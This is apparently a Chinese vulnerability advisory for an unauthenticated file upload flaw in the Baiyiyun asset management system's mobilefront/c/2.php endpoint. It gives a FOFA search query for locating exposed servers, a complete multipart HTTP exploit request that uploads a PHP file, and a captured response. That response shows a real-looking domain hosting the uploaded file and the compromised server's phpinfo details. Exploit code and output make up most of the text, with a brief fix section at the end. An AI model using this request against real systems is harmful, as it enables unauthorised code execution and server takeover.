

百易云资产管理运营系统 mobilefrontc2.php 任意文件上传漏洞

漏洞描述

百易云资产管理运营系统 mobilefront/c/2.php 接口存在文件上传漏洞，未经身份验证的攻击者通过漏洞上传恶意后门文件，执行任意代码，从而获取到服务器权限。

影响版本

百易云资产管理运营系统

漏洞状态

漏洞细节	漏洞POC	漏洞EXP	在野利用
是	已公开	已公开	已知

风险等级

维度	评价
威胁等级	高危
影响面	广
攻击者价值	高
利用难度	低

漏洞复现

FOFA: body="不要着急，点此"

POC/EXP:

POST /mobilefront/c/2.php HTTP/1.1

Host: 127.0.0.1

Content-Type: multipart/form-data; boundary=-----

-289666258334735365651210512949

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:127.0) Gecko/20100101 Firefox/127.0

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

X-Requested-With: XMLHttpRequest

-----289666258334735365651210512949

Content-Disposition: form-data; name="file1"; filename="2.php"

Content-Type: image/png

-----289666258334735365651210512949--

发送请求

强制 HTTPS

历史

生成 Yarn

Request

数据包扫描 热加载 构造请求

1 POST /mobilefront/c/2.php HTTP/1.1

2 Host:

3 Content-Type: multipart/form-data;

boundary=-----289666258334735365651210512949

4 User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:127.0) Gecko/20100101 Firefox/127.0

5 Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

6 Accept-Encoding: gzip, deflate

7 X-Requested-With: XMLHttpRequest

8 .

9 -----289666258334735365651210512949

10 Content-Disposition: form-data; name="file1"; filename="2.php"

11 Content-Type: image/png

12 .

13 <?php phpinfo();unlink(__FILE__);?>

14 -----289666258334735365651210512949--

Responses 88bytes / 44ms

美化 渲染 详情

1 HTTP/1.1 200 OK

2 Date: Mon, 25 Nov 2024 12:52:25 GMT

3 Server: Apache/2.4.18 (Win64) PHP/5.6.19

4 X-Powered-By: PHP/5.6.19

5 Content-Type: text/html; charset=utf-8

6 Content-Length: 88

7

8 {"src":"http://hlsjonline.com/weui/c/images2/17325391452.php","size":35,"error":0}

phpinfo()

不安全

m/mobilefront/c//images2/17325391452.php

PHP Version 5.6.19

System	Windows NT WIN-MN1TAH5GT9T 10.0 build 17763 (Windows Server 2016) AMD64
Build Date	Mar 2 2016 20:02:09
Compiler	MSVC11 (Visual C++ 2012)
Architecture	x64
Configure Command	cscript /nologo configure.js "--enable-snapshot-build" "--disable-isapi" "--enable-debug-pack" "--without-mssql" "--without-pdo-mssql" "--without-pi3web" "--with-pdo-oci=c:\php-sdk\oracle\x64\instantclient_12_1\sdk,shared" "--with-oci8-12c=c:\php-sdk\oracle\x64\instantclient_12_1\sdk,shared" "--enable-object-out-dir=../obj/" "--enable-com-dotnet=shared" "--with-mcrypt=static" "--without-analyzer" "--with-pgo"
Server API	Apache 2.0 Handler
Virtual Directory Support	enabled
Configuration File (php.ini) Path	C:\Windows
Loaded Configuration File	D:\wamp64\bin\apache\apache2.4.18\bin\php.ini
Scan this dir for additional .ini files	(none)
Additional .ini files parsed	(none)
PHP API	20131106
PHP Extension	20131226
Zend Extension	220131226
Zend Extension Build	API220131226,TS,VC11
PHP Extension Build	API20131226,TS,VC11

漏洞修复

关闭互联网暴露面或接口设置访问权限

升级至安全版本